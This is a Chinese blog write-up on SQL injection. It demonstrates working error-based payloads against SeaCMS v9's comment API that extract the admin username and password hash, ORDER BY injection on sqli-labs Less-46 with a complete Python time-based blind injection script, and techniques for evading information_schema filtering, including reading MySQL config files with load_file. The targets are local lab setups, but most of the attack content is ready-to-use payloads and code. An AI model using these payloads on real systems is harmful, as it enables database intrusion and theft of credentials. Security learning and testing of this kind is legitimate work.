seacmsv9sql注入+order by+information_schema过滤

1.seacmsv9sql注入:

1.seacms介绍

seams是一款基于 PHP 和 MySQL 的开源内容管理系统(CMS),主要用于搭建视频分享网站、电影网站、电视剧网站等多媒体内容平台。它提供了丰富的功能和模块,适合快速搭建和运营视频类网站。

2.漏洞分析

seacmsv9漏洞文件:./comment/api/index.php
漏洞参数:$rlist

3.漏洞源码

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);	


function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}

function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}

function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}

function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

4.报错注入

http://127.0.0.1/seacms-v9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20updatexml(1,%20concat_ws(0x20,%200x5c,(user())),1),@`%27`

证明可以爆出数据

在开源状态下,提取用户名密码;

账号信息在sea_admin中,我们先在mysql中尝试查询后再采用报错注入;

当然是再我们知道columns的前提下进行报错注入 、

http://127.0.0.1/seacms-v9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20updatexml(1,%20concat_ws(0x20,%200x5c,(select%23%0aname%20from%23%0asea_admin)),1),@`%27`

但此时浏览器界面无回显导致注入失败,用wireshark抓包尝试找到问题所在 

 注入sql语句中出现sea_comment,去mysql中查询表为空所以按照查询提示增加表内容

mysql> insert into sea_comment (id, uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote)
    -> values
    -> (1, 2, 3, 4, 'root1', '172.25.254.4', 1, 1111111111, 'mapshs', 0, 0, 0, 0, 'hah.jpg', 0),
    -> (5, 6, 7, 8, 'root2', '172.25.254.19', 1, 2222222222, 'mapshs', 0, 0, 0, 0, 'haha.jpg', 0);
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

此时再进行报错注入

页面正常回显 

http://127.0.0.1/seacms-v9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20updatexml(1,%20concat_ws(0x20,%200x5c,(select%23%0apassword%20from%23%0asea_admin)),1),@`%27`

注入成功,用户名为admin,密码为md5后的结果,演算

 2.order by

现今防御sql注入的手段以pdo防御最为安全,其主要采用了预编译的手段,预编译主要是将sql语句参数化,说明预编译的手段只能防御可参数化的sql注入,所以对于不可参数化的位置预编译也没有什么办法,其中以order by来举例

使用sqlilab中第46关

1.先尝试报错注入

可以爆出数据,在尝试能不能爆出其他数据

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x77),1)

可以爆出所有数据所以证明报错注入这个方法可行

 2.时间盲注

先盲注试试

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(substr(database(),2,1)=%27e%27,username,password)

直接用脚本吧(时间比较慢)

import requests
import time

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # 构造时间盲注payload
            payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
            # 传参
            params = {"sort": payload}
            start_time = time.time()
            # 异常处理
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
    inject_database(url)

所以说明也可以时间盲注(当然肯定也有其他方法,可以多次去尝试)

 3.information_schema绕过方法

1. 使用其他数据库系统表

虽然 information_schema 是标准的元数据存储,但它并不是数据库系统中唯一的元数据来源。其他一些内部表也能提供类似的功能。这些表通常包含了数据库的权限、表结构和用户信息,可以通过查询这些表绕过 information_schema 的过滤。

常见的内部表
MySQL/MariaDB:
  mysql.db:存储数据库权限信息
  mysql.tables_priv:存储表权限信息
  mysql.user:存储用户信息

PostgreSQL:

 pg_catalog:存储数据库的元数据

 pg_tables:存储所有表的信息

SQLite:

 select name from sqlite_master wheretype='table';

2. 使用联合查询 (union select) 来猜测表结构

在没有直接访问 information_schema 的情况下,可以使用 union select 语句进行暴力猜测。union语句可以将多个查询的结果合并为一个结果集,因此可以尝试通过联合查询逐步推测数据库的表名和列名。

示例
尝试返回表名

union select table_name from mysql.tables where table_schema = 'your_database';

逐步调整查询,获取表结构

union select column_name from information_schema.columns where table_name = 'users';

可以使用脚本逐步暴力猜测出目标数据库的结构

3.使用 group_concat 函数拼接表或列信息

如果数据库支持 group_concat 函数,可以利用它来拼接多条记录,绕过某些限制,从而获取完整的表或列信息。group_concat 函数将查询结果连接为一个字符串,允许攻击者在一个查询中获取大量的数据。

在过滤较弱的情况,没有 information_schema 权限的情况下,仍可能通过拼接数据来获取数据库结构。

select group_concat(table_name) from information_schema.tables where table_schema = 'your_database';

4. 使用字典爆破

如果查询表名或列名受到限制,还可以通过字典爆破的方法来逐步猜测数据库的表名或列名。字典爆破通常结合 order by 和 limit 来减少查询的范围。

测试表名:

union select table_name from information_schema.tables where table_name like 'users%' limit 0, 1;
测试列名:

union select column_name from information_schema.columns where table_name = 'users' limit 0, 1;
通过反复调整查询,逐渐推测出表和列的名称。

5. 利用路径遍历/文件读取

某些情况,数据库服务器可能允许访问文件系统。可以尝试路径遍历技术来读取数据库配置文件,进一步获取数据库的信息。这些配置文件通常包含数据库的详细信息,比如用户名、密码、表结构等。

select load_file('/etc/mysql/my.cnf');
如果能够成功读取配置文件,可以获得数据库的配置详情。

6. 使用时间盲注

当数据库查询结果无法直接返回时,可以使用时间盲注技术,利用数据库执行条件查询的时间差来推测信息。适用于被完全过滤的注入情况。

通过 if 语句,可以让数据库在满足某些条件时进行延时,从而判断条件是否成立。

if ((select count (*) from users where username = 'admin') > 0,sleep(5),0);
如果数据库响应时间较长,说明查询成功;否则,响应时间正常。

7. 利用数据库错误信息

如果数据库未完全过滤错误信息,攻击者可以通过查看错误信息来推测数据库结构。

常见的错误信息包括:

Unknown column 'column_name' in 'field list':表明某个列名不存在

Table 'database_name.table_name' doesn't exist:表明某个表不存在

通过反复测试不同的表名和列名,可以利用错误信息逐步构建数据库的结构。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值